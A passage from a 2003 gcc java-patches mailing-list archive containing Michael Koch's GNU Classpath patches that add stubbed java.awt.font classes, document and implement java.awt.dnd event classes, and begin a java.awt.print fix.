throw new Error ("not implemented"); + } + + public float getAdvance () + { + throw new Error ("not implemented"); + } + + public float getAscent () + { + throw new Error ("not implemented"); + } + + public byte getBaseline () + { + throw new Error ("not implemented"); + } + + public float[] getBaselineOffsets () + { + throw new Error ("not implemented"); + } + + public Shape getBlackBoxBounds (int firstEndpoint, int secondEndpoint) + { + throw new Error ("not implemented"); + } + + public Rectangle2D getBounds() + { + throw new Error ("not implemented"); + } + + public float[] getCaretInfo (TextHitInfo hit) + { + throw new Error ("not implemented"); + } + + public float[] getCaretInfo (TextHitInfo hit, Rectangle2D bounds) + { + throw new Error ("not implemented"); + } + + public Shape getCaretShape (TextHitInfo hit) + { + throw new Error ("not implemented"); + } + + public Shape getCaretShape (TextHitInfo hit, Rectangle2D bounds) + { + throw new Error ("not implemented"); + } + + public Shape[] getCaretShapes (int offset) + { + throw new Error ("not implemented"); + } + + public Shape[] getCaretShapes (int offset, Rectangle2D bounds) + { + throw new Error ("not implemented"); + } + + public Shape[] getCaretShapes (int offset, Rectangle2D bounds, + TextLayout.CaretPolicy policy) + { + throw new Error ("not implemented"); + } + + public int getCharacterCount () + { + throw new Error ("not implemented"); + } + + public byte getCharacterLevel (int index) + { + throw new Error ("not implemented"); + } + + public float getDescent () + { + throw new Error ("not implemented"); + } + + public TextLayout getJustifiedLayout (float justificationWidth) + { + throw new Error ("not implemented"); + } + + public float getLeading () + { + throw new Error ("not implemented"); + } + + public Shape getLogicalHighlightShape (int firstEndpoint, int secondEndpoint) + { + throw new Error ("not implemented"); + } + + public Shape getLogicalHighlightShape (int firstEndpoint, int secondEndpoint, + Rectangle2D bounds) + { + throw new Error ("not implemented"); + } + + public int[] getLogicalRangesForVisualSelection (TextHitInfo firstEndpoint, + TextHitInfo secondEndpoint) + { + throw new Error ("not implemented"); + } + + public TextHitInfo getNextLeftHit (int offset) + { + throw new Error ("not implemented"); + } + + public TextHitInfo getNextLeftHit (int offset, TextLayout.CaretPolicy policy) + { + throw new Error ("not implemented"); + } + + public TextHitInfo getNextLeftHit (TextHitInfo hit) + { + throw new Error ("not implemented"); + } + + public TextHitInfo getNextRightHit (int offset) + { + throw new Error ("not implemented"); + } + + public TextHitInfo getNextRightHit (int offset, TextLayout.CaretPolicy policy) + { + throw new Error ("not implemented"); + } + + public TextHitInfo getNextRightHit (TextHitInfo hit) + { + throw new Error ("not implemented"); + } + + public Shape getOutline (AffineTransform tx) + { + throw new Error ("not implemented"); + } + + public float getVisibleAdvance () + { + throw new Error ("not implemented"); + } + + public Shape getVisualHighlightShape (TextHitInfo firstEndpoint, + TextHitInfo secondEndpoint) + { + throw new Error ("not implemented"); + } + + public Shape getVisualHighlightShape (TextHitInfo firstEndpoint, + TextHitInfo secondEndpoint, + Rectangle2D bounds) + { + throw new Error ("not implemented"); + } + + public TextHitInfo getVisualOtherHit (TextHitInfo hit) + { + throw new Error ("not implemented"); + } + + protected void handleJustify (float justificationWidth) + { + throw new Error ("not implemented"); + } + + public int hashCode () + { + throw new Error ("not implemented"); + } + + public TextHitInfo hitTestChar (float x, float y) + { + throw new Error ("not implemented"); + } + + public TextHitInfo hitTestChar (float x, float y, Rectangle2D bounds) + { + throw new Error ("not implemented"); + } + + public boolean isLeftToRight () + { + throw new Error ("not implemented"); + } + + public boolean isVertical () + { + throw new Error ("not implemented"); + } + + public String toString () + { + throw new Error ("not implemented"); + } +} Index: java/awt/font/TextMeasurer.java =================================================================== RCS file: java/awt/font/TextMeasurer.java diff -N java/awt/font/TextMeasurer.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/TextMeasurer.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,97 @@ +/* TextMeasurer.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.text.AttributedCharacterIterator; + +/** + * @author Michael Koch + * @since 1.3 + */ +public final class TextMeasurer implements Cloneable +{ + private AttributedCharacterIterator ci; + private FontRenderContext frc; + + public TextMeasurer (AttributedCharacterIterator text, FontRenderContext frc) + { + this.ci = text; + this.frc = frc; + } + + protected Object clone () + { + try + { + return super.clone (); + } + catch (CloneNotSupportedException e) + { + // This may never occur + throw new InternalError (); + } + } + + public void deleteChar (AttributedCharacterIterator newParagraph, + int deletePos) + { + throw new Error ("not implemented"); + } + + public float getAdvanceBetween (int start, int limit) + { + throw new Error ("not implemented"); + } + + public TextLayout getLayout (int start, int limit) + { + throw new Error ("not implemented"); + } + + public int getLineBreakIndex (int start, float maxAdvance) + { + throw new Error ("not implemented"); + } + + public void insertChar (AttributedCharacterIterator newParagraph, + int insertPos) + { + throw new Error ("not implemented"); + } +} Index: java/awt/font/TransformAttribute.java =================================================================== RCS file: java/awt/font/TransformAttribute.java diff -N java/awt/font/TransformAttribute.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/TransformAttribute.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,73 @@ +/* TransformAttribute.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.geom.AffineTransform; +import java.io.Serializable; + +/** + * @author Michael Koch + */ +public final class TransformAttribute implements Serializable +{ + private static final long serialVersionUID = 3356247357827709530L; + + private AffineTransform affineTransform; + + public TransformAttribute (AffineTransform transform) + { + if (transform != null) + { + this.affineTransform = new AffineTransform (transform); + } + } + + public AffineTransform getTransform () + { + return affineTransform; + } + + /** + * @since 1.4 + */ + public boolean isIdentity () + { + return (affineTransform == null ? false : affineTransform.isIdentity ()); + } +} --Boundary-00=_xNkT+Wt4IDjdISq-- From java-patches-return-6157-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 15:27:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18420 invoked by alias); 15 Feb 2003 15:27:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18413 invoked from network); 15 Feb 2003 15:27:52 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by 172.16.49.205 with SMTP; 15 Feb 2003 15:27:52 -0000 Received: from 192.168.1.3 (dynadsl-080-228-81-192.ewetel.net [80.228.81.192]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1FFRnwt019310 for ; Sat, 15 Feb 2003 16:27:50 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.dnd Date: Sat, 15 Feb 2003 16:27:44 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_wxlT+WFkRY68DGn" Message-Id: <200302151627.44590.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_wxlT+WFkRY68DGn Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Here another java.awt patch for review. It fixes some glitches in=20 java.awt.dnd. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TlxwWSOgCCdjSDsRAu0PAJ40FMavVsoZnrLi+Tik2SV72i8CCACfV4mk KQJwvrR8uJQTWZkZX1JmFyo=3D =3DZW8q =2D----END PGP SIGNATURE----- --Boundary-00=_wxlT+WFkRY68DGn Content-Type: text/x-diff; charset="iso-8859-15"; name="dnd.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="dnd.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1708 diff -u -r1.1708 ChangeLog --- ChangeLog 15 Feb 2003 13:26:26 -0000 1.1708 +++ ChangeLog 15 Feb 2003 15:22:46 -0000 @@ -1,5 +1,60 @@ 2003-02-15 Michael Koch + * java/awt/dnd/DragSourceContext.java + (addDragSourceListener): Added documentation. + * java/awt/dnd/DragSourceDragEvent.java + (serialVersionUID): New member variable. + (getDropAction): Reformated. + * java/awt/dnd/DragSourceDropEvent.java + (serialVersionUID): New member variable. + (dropSuccess): Renamed from success for serialization issues. + * java/awt/dnd/DragSourceEvent.java + (serialVersionUID): New member variable. + * java/awt/dnd/DropTarget.java + (serialVersionUID): New member variable. + (DropTarget): Implemented, documentation reworked. + (setComponent): Documentation added. + (getComponent): Documentation added. + (setDefaultActions): Documentation added. + (getDefaultActions): Documentation added. + (addDropTargetListener): Documentation added. + * java/awt/dnd/DropTargetContext.java + (DropTargetContext): Documentation added. + (TransferableProxy.TransferableProxy): New method. + (dropComplete): Fixed documentation. + (getTransferable): Fixed documentation. + (createTransferableProxy): Implemented. + * java/awt/dnd/DropTargetDragEvent.java + (DropTargetDragEvent): Documentation added. + (serialVersionUID): New member variable. + (DropTargetDragEvent): Throw exceptions, documentation added. + (acceptDrag): Implemented. + (getCurrentDataFlavors): Implemented.3yy + (getCurrentDataFlavorsAsList): Implemented. + (isDataFlavorSupported): Implemented. + (rejectDrag): Implemented. + * java/awt/dnd/DropTargetDropEvent.java + (DropTargetDropEvent): Documentation added. + (serialVersionUID): New member variable. + (actions): Renamed from srcActions for serialization issues. + (isLocalTx): Renamed from isLocalTx for serialization issues. + (DropTargetDropEvent): New implementation, throw exceptions, + documentation added. + (getCurrentDataFlavors): Implemented. + (getCurrentDataFlavorsAsList): Implemented. + (isDataFlavorSupported): Implemented. + (getSourceActions): Implemented. + (getDropAction): Implemented. + (getTransferable): Implemented. + (acceptDrop): Implemented. + (rejectDrop): Implemented. + * java/awt/dnd/DropTargetListener.java + (drop): Fixed documentation. + * java/awt/dnd/MouseDragGestureRecognizer.java + (MouseDragGestureRecognizer): Documentation added. + +2003-02-15 Michael Koch + * java/awt/datatransfer/DataFlavor.java (isRepresentationClassByteBuffer): Removed try-catch block. (isRepresentationClassCharBuffer): Removed try-catch block. Index: java/awt/dnd/DragSourceContext.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragSourceContext.java,v retrieving revision 1.3 diff -u -r1.3 DragSourceContext.java --- java/awt/dnd/DragSourceContext.java 10 Nov 2002 00:16:43 -0000 1.3 +++ java/awt/dnd/DragSourceContext.java 15 Feb 2003 15:22:46 -0000 @@ -92,7 +92,13 @@ return null; } - public void addDragSourceListener(DragSourceListener l) + /** + * Adds a DragSourceListener. + * + * @exception TooManyListenersException If a DragSourceListener + * has already been added. + */ + public void addDragSourceListener (DragSourceListener dsl) throws TooManyListenersException { } Index: java/awt/dnd/DragSourceDragEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragSourceDragEvent.java,v retrieving revision 1.1 diff -u -r1.1 DragSourceDragEvent.java --- java/awt/dnd/DragSourceDragEvent.java 9 Aug 2002 04:26:15 -0000 1.1 +++ java/awt/dnd/DragSourceDragEvent.java 15 Feb 2003 15:22:46 -0000 @@ -41,10 +41,16 @@ import gnu.java.awt.EventModifier; /** - * STUBBED + * @author Michael Koch + * @since 1.2 */ public class DragSourceDragEvent extends DragSourceEvent { + /** + * Compatible with JDK 1.2+ + */ + private static final long serialVersionUID = 481346297933902471L; + private final int dropAction; private final int targetActions; private final int gestureModifiers; @@ -89,7 +95,8 @@ public int getDropAction() { - return dropAction & targetActions - & ((DragSourceContext) source).getSourceActions(); + return (dropAction + & targetActions + & ((DragSourceContext) source).getSourceActions()); } } // class DragSourceDragEvent Index: java/awt/dnd/DragSourceDropEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragSourceDropEvent.java,v retrieving revision 1.1 diff -u -r1.1 DragSourceDropEvent.java --- java/awt/dnd/DragSourceDropEvent.java 3 Oct 2002 14:40:43 -0000 1.1 +++ java/awt/dnd/DragSourceDropEvent.java 15 Feb 2003 15:22:46 -0000 @@ -46,30 +46,35 @@ */ public class DragSourceDropEvent extends DragSourceEvent { + /** + * Compatible with JDK 1.2+ + */ + private static final long serialVersionUID = -5571321229470821891L; + private final int dropAction; - private final boolean success; + private final boolean dropSuccess; public DragSourceDropEvent (DragSourceContext context) { super (context); this.dropAction = 0; - this.success = false; + this.dropSuccess = false; } public DragSourceDropEvent (DragSourceContext context, int dropAction, - boolean success) + boolean dropSuccess) { super (context); this.dropAction = dropAction; - this.success = success; + this.dropSuccess = dropSuccess; } public DragSourceDropEvent (DragSourceContext context, int dropAction, - boolean success, int x, int y) + boolean dropSuccess, int x, int y) { super (context, x, y); this.dropAction = dropAction; - this.success = success; + this.dropSuccess = dropSuccess; } public int getDropAction() @@ -79,6 +84,6 @@ public boolean getDropSuccess() { - return success; + return dropSuccess; } } // class DragSourceDropEvent Index: java/awt/dnd/DragSourceEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragSourceEvent.java,v retrieving revision 1.1 diff -u -r1.1 DragSourceEvent.java --- java/awt/dnd/DragSourceEvent.java 9 Aug 2002 04:26:15 -0000 1.1 +++ java/awt/dnd/DragSourceEvent.java 15 Feb 2003 15:22:46 -0000 @@ -41,8 +41,16 @@ import java.awt.Point; import java.util.EventObject; +/** + * @since 1.2 + */ public class DragSourceEvent extends EventObject { + /** + * Compatible with JDK 1.2+ + */ + private static final long serialVersionUID = -763287114604032641L; + private final boolean locationSpecified; private final int x; private final int y; Index: java/awt/dnd/DropTarget.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTarget.java,v retrieving revision 1.4 diff -u -r1.4 DropTarget.java --- java/awt/dnd/DropTarget.java 2 Jan 2003 00:14:23 -0000 1.4 +++ java/awt/dnd/DropTarget.java 15 Feb 2003 15:22:46 -0000 @@ -50,6 +50,11 @@ public class DropTarget implements DropTargetListener, EventListener, Serializable { + /** + * Compatible with JDK 1.2+ + */ + private static final long serialVersionUID = -6283860791671019047L; + protected static class DropTargetAutoScroller implements ActionListener { @@ -74,64 +79,85 @@ private boolean isActive = false; /** - * FIXME + * Creates a DropTarget object. * - * @exception HeadlessException FIXME + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public DropTarget () { + this (null, 0, null, true, null); } /** - * FIXME + * Creates a DropTarget object. * - * @exception HeadlessException FIXME + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public DropTarget (Component c, DropTargetListener dtl) { + this (c, 0, dtl, true, null); } /** - * FIXME + * Creates a DropTarget object. * - * @exception HeadlessException FIXME + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public DropTarget (Component c, int i, DropTargetListener dtl) { + this (c, i, dtl, true, null); } /** - * FIXME + * Creates a DropTarget object. * - * @exception HeadlessException FIXME + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public DropTarget (Component c, int i, DropTargetListener dtl, boolean b) { + this (c, i, dtl, b, null); } /** - * FIXME + * Creates a DropTarget object. * - * @exception HeadlessException FIXME + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public DropTarget (Component c, int i, DropTargetListener dtl, boolean b, - FlavorMap fm) + FlavorMap fm) { } + /** + * Sets the component assoziated with this dro ptarget object. + */ public void setComponent (Component c) { } + /** + * Returns the component assoziated with this drop target object. + */ public Component getComponent () { return null; } + /** + * Sets the default actions. + */ public void setDefaultActions (int ops) { } + /** + * Returns the default actions. + */ public int getDefaultActions () { return 0; @@ -148,7 +174,10 @@ } /** - * @exception TooManyListenersException FIXME + * Adds a new DropTargetListener. + * + * @exception TooManyListenersException If there is already a + * DropTargetListener. */ public void addDropTargetListener (DropTargetListener dtl) throws TooManyListenersException Index: java/awt/dnd/DropTargetContext.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTargetContext.java,v retrieving revision 1.2 diff -u -r1.2 DropTargetContext.java --- java/awt/dnd/DropTargetContext.java 10 Nov 2002 00:16:43 -0000 1.2 +++ java/awt/dnd/DropTargetContext.java 15 Feb 2003 15:22:46 -0000 @@ -46,6 +46,10 @@ import java.awt.datatransfer.UnsupportedFlavorException; import java.util.List; +/** + * @author Michael Koch + * @since 1.2 + */ public class DropTargetContext implements Serializable { static final long serialVersionUID = -634158968993743371L; @@ -55,6 +59,12 @@ protected boolean isLocal; protected Transferable transferable; + TransferableProxy (Transferable t, boolean local) + { + this.transferable = t; + this.isLocal = local; + } + public DataFlavor[] getTransferDataFlavors () { // FIXME: implement this @@ -110,9 +120,9 @@ } /** - * FIXME + * Signals that the drop is completed. * - * @exception InvalidDnDOperationException FIXME + * @exception InvalidDnDOperationException If a drop is not outstanding. */ public void dropComplete (boolean success) { @@ -158,9 +168,9 @@ } /** - * FIXME + * Return the Transferable operandof this operation. * - * @exception InvalidDnDOperationException FIXME + * @exception InvalidDnDOperationException If a drag is not outstanding. */ protected Transferable getTransferable() throws InvalidDnDOperationException { @@ -170,7 +180,6 @@ protected Transferable createTransferableProxy(Transferable t, boolean local) { - // FIXME: implement this - return null; + return new TransferableProxy (t, local); } } // class DropTargetContext Index: java/awt/dnd/DropTargetDragEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTargetDragEvent.java,v retrieving revision 1.1 diff -u -r1.1 DropTargetDragEvent.java --- java/awt/dnd/DropTargetDragEvent.java 3 Oct 2002 14:40:43 -0000 1.1 +++ java/awt/dnd/DropTargetDragEvent.java 15 Feb 2003 15:22:46 -0000 @@ -41,21 +41,56 @@ import java.awt.Point; import java.awt.datatransfer.DataFlavor; +/** + * @since 1.2 + */ public class DropTargetDragEvent extends DropTargetEvent { + /** + * Compatible with 1.2+ + */ + private static final long serialVersionUID = -8422265619058953682L; + private final int dropAction; private final int srcActions; private final Point location; /** - * FIXME + * Initializes a DropTargetDragEvent. * - * @exception NullPointerException FIXME + * @exception IllegalArgumentException If dropAction is not one of DnDConstants, + * srcActions is not a bitwise mask of DnDConstants, or dtc is null. + * @exception NullPointerException If location is null. */ public DropTargetDragEvent (DropTargetContext context, Point location, int dropAction, int srcActions) { super (context); + + if (location == null) + throw new NullPointerException (); + + if (context == null) + throw new IllegalArgumentException (); + + if (dropAction != DnDConstants.ACTION_NONE + && dropAction != DnDConstants.ACTION_COPY + && dropAction != DnDConstants.ACTION_MOVE + && dropAction != DnDConstants.ACTION_COPY_OR_MOVE + && dropAction != DnDConstants.ACTION_LINK + && dropAction != DnDConstants.ACTION_REFERENCE) + throw new IllegalArgumentException (); + + int srcActionsMask = DnDConstants.ACTION_NONE + | DnDConstants.ACTION_COPY + | DnDConstants.ACTION_MOVE + | DnDConstants.ACTION_COPY_OR_MOVE + | DnDConstants.ACTION_LINK + | DnDConstants.ACTION_REFERENCE; + + if (~(srcActions ^ srcActionsMask) != 0) + throw new IllegalArgumentException (); + this.dropAction = dropAction; this.srcActions = srcActions; this.location = location; @@ -63,19 +98,17 @@ public void acceptDrag (int dragOperation) { - // FIXME: implement this + context.acceptDrag (dragOperation); } public DataFlavor[] getCurrentDataFlavors () { - // FIXME: implement this - return null; + return context.getCurrentDataFlavors (); } public List getCurrentDataFlavorsAsList () { - // FIXME: implement this - return null; + return context.getCurrentDataFlavorsAsList (); } public int getDropAction() @@ -96,12 +129,11 @@ public boolean isDataFlavorSupported (DataFlavor df) { - // FIXME: implement this - return true; + return context.isDataFlavorSupported (df); } public void rejectDrag () { - // FIXME: implement this + context.rejectDrag (); } } // class DropTargetDragEvent Index: java/awt/dnd/DropTargetDropEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTargetDropEvent.java,v retrieving revision 1.1 diff -u -r1.1 DropTargetDropEvent.java --- java/awt/dnd/DropTargetDropEvent.java 3 Oct 2002 14:40:43 -0000 1.1 +++ java/awt/dnd/DropTargetDropEvent.java 15 Feb 2003 15:22:46 -0000 @@ -42,31 +42,75 @@ import java.awt.datatransfer.Transferable; import java.util.List; +/** + * @since 1.2 + */ public class DropTargetDropEvent extends DropTargetEvent { + /** + * Compatible with JDK 1.2+ + */ + private static final long serialVersionUID = -1721911170440459322L; + private final int dropAction; - private final int srcActions; + private final int actions; private final Point location; - private final boolean isLocal; + private final boolean isLocalTx; + /** + * Initializes a DropTargetDropEvent. By default this constructor + * assumes that the target is not int same JVM. + * + * @exception IllegalArgumentException If dropAction is not one of DnDConstants, + * actions is not a bitwise mask of DnDConstants, or dtc is null. + * @exception NullPointerException If location is null. + */ public DropTargetDropEvent (DropTargetContext dtc, Point location, - int dropAction, int srcActions) + int dropAction, int actions) { - super (dtc); - this.dropAction = dropAction; - this.srcActions = srcActions; - this.location = location; - this.isLocal = false; + this (dtc, location, dropAction, actions, false); } + /** + * Initializes a DropTargetDropEvent. + * + * @exception IllegalArgumentException If dropAction is not one of DnDConstants, + * actions is not a bitwise mask of DnDConstants, or dtc is null. + * @exception NullPointerException If location is null. + */ public DropTargetDropEvent (DropTargetContext dtc, Point location, - int dropAction, int srcActions, boolean isLocal) + int dropAction, int actions, boolean isLocalTx) { super (dtc); + + if (location == null) + throw new NullPointerException (); + + if (dtc == null) + throw new IllegalArgumentException (); + + if (dropAction != DnDConstants.ACTION_NONE + && dropAction != DnDConstants.ACTION_COPY + && dropAction != DnDConstants.ACTION_MOVE + && dropAction != DnDConstants.ACTION_COPY_OR_MOVE + && dropAction != DnDConstants.ACTION_LINK + && dropAction != DnDConstants.ACTION_REFERENCE) + throw new IllegalArgumentException (); + + int actionsMask = DnDConstants.ACTION_NONE + | DnDConstants.ACTION_COPY + | DnDConstants.ACTION_MOVE + | DnDConstants.ACTION_COPY_OR_MOVE + | DnDConstants.ACTION_LINK + | DnDConstants.ACTION_REFERENCE; + + if (~(actions ^ actionsMask) != 0) + throw new IllegalArgumentException (); + this.dropAction = dropAction; - this.srcActions = srcActions; + this.actions = actions; this.location = location; - this.isLocal = isLocal; + this.isLocalTx = isLocalTx; } public Point getLocation () @@ -76,48 +120,42 @@ public DataFlavor[] getCurrentDataFlavors () { - // FIXME: implement this - return null; + return context.getCurrentDataFlavors (); } public List getCurrentDataFlavorsAsList () { - // FIXME: implement this - return null; + return context.getCurrentDataFlavorsAsList (); } public boolean isDataFlavorSupported (DataFlavor flavor) { - // FIXME: implement this - return false; + return context.isDataFlavorSupported (flavor); } public int getSourceActions () { - // FIXME: implement this - return 0; + return actions; } public int getDropAction () { - // FIXME: implement this - return 0; + return dropAction; } public Transferable getTransferable () { - // FIXME: implement this - return null; + return context.getTransferable (); } public void acceptDrop (int dropAction) { - // FIXME: implement this + context.acceptDrop (dropAction); } public void rejectDrop () { - // FIXME: implement this + context.rejectDrop (); } public void dropComplete (boolean success) @@ -127,6 +165,6 @@ public boolean isLocalTransfer() { - return isLocal; + return isLocalTx; } } // class DropTargetDropEvent Index: java/awt/dnd/DropTargetListener.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTargetListener.java,v retrieving revision 1.1 diff -u -r1.1 DropTargetListener.java --- java/awt/dnd/DropTargetListener.java 3 Oct 2002 14:40:43 -0000 1.1 +++ java/awt/dnd/DropTargetListener.java 15 Feb 2003 15:22:46 -0000 @@ -81,7 +81,7 @@ void dragExit (DropTargetEvent e); /** - * FIXME + * Called when the drag operation has terminated with a drop. * * @param e the drag source drag event */ Index: java/awt/dnd/MouseDragGestureRecognizer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/MouseDragGestureRecognizer.java,v retrieving revision 1.1 diff -u -r1.1 MouseDragGestureRecognizer.java --- java/awt/dnd/MouseDragGestureRecognizer.java 3 Oct 2002 14:40:43 -0000 1.1 +++ java/awt/dnd/MouseDragGestureRecognizer.java 15 Feb 2003 15:22:46 -0000 @@ -45,27 +45,38 @@ /** * @author Michael Koch */ - public abstract class MouseDragGestureRecognizer extends DragGestureRecognizer implements MouseListener, MouseMotionListener { + /** + * Creates a MouseDragGestureRecognizer object. + */ protected MouseDragGestureRecognizer (DragSource ds, Component c, int act, DragGestureListener dgl) { super (ds, c, act, dgl); } + /** + * Creates a MouseDragGestureRecognizer object. + */ protected MouseDragGestureRecognizer (DragSource ds, Component c, int act) { super (ds, c, act); } + /** + * Creates a MouseDragGestureRecognizer object. + */ protected MouseDragGestureRecognizer (DragSource ds, Component c) { super (ds, c); } + /** + * Creates a MouseDragGestureRecognizer object. + */ protected MouseDragGestureRecognizer (DragSource ds) { super (ds); --Boundary-00=_wxlT+WFkRY68DGn-- From java-patches-return-6158-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 15:33:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19503 invoked by alias); 15 Feb 2003 15:33:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19496 invoked from network); 15 Feb 2003 15:33:03 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 15 Feb 2003 15:33:03 -0000 Received: from 192.168.1.3 (dynadsl-080-228-81-192.ewetel.net [80.228.81.192]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1FFX1GF002494 for ; Sat, 15 Feb 2003 16:33:01 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.print Date: Sat, 15 Feb 2003 16:32:56 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_o2lT+cMS410tDAS" Message-Id: <200302151632.56877.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_o2lT+cMS410tDAS Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, This patch fixes three glitches in java.awt.print. Please review and=20 comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Tl2oWSOgCCdjSDsRAqBjAJ9mmeUaiyICBmlOwpfTR3FzxWw9GQCeLgjM 6vAcBMeJVAyjLdvTuhWzqCU=3D =3DXLmB =2D----END PGP SIGNATURE----- --Boundary-00=_o2lT+cMS410tDAS Content-Type: text/x-diff; charset="iso-8859-15"; name="print.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="print.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1708 diff -u -r1.1708 ChangeLog --- ChangeLog 15 Feb 2003 13:26:26 -0000 1.1708 +++ ChangeLog 15 Feb 2003 15:31:38 -0000 @@ -1,5 +1,13 @@ 2003-02-15 Michael Koch + * java/awt/print/Paper.java + (Paper): Implements Cloneable. + * java/awt/print/PrinterJob.java + (setJobName): Return value must be void. + (print): Throws PrinterException. + +2003-02-15 Michael Koch + * java/awt/datatransfer/DataFlavor.java (isRepresentationClassByteBuffer): Removed try-catch block. (isRepresentationClassCharBuffer): Removed try-catch block. Index: java/awt/print/Paper.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/print/Paper.java,v retrieving revision 1.1 diff -u -r1.1 Paper.java --- java/awt/print/Paper.java 9 Aug 2002 04:26:16 -0000 1.1 +++ java/awt/print/Paper.java 15 Feb 2003 15:31:38 -0000 @@ -43,7 +43,7 @@ * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class 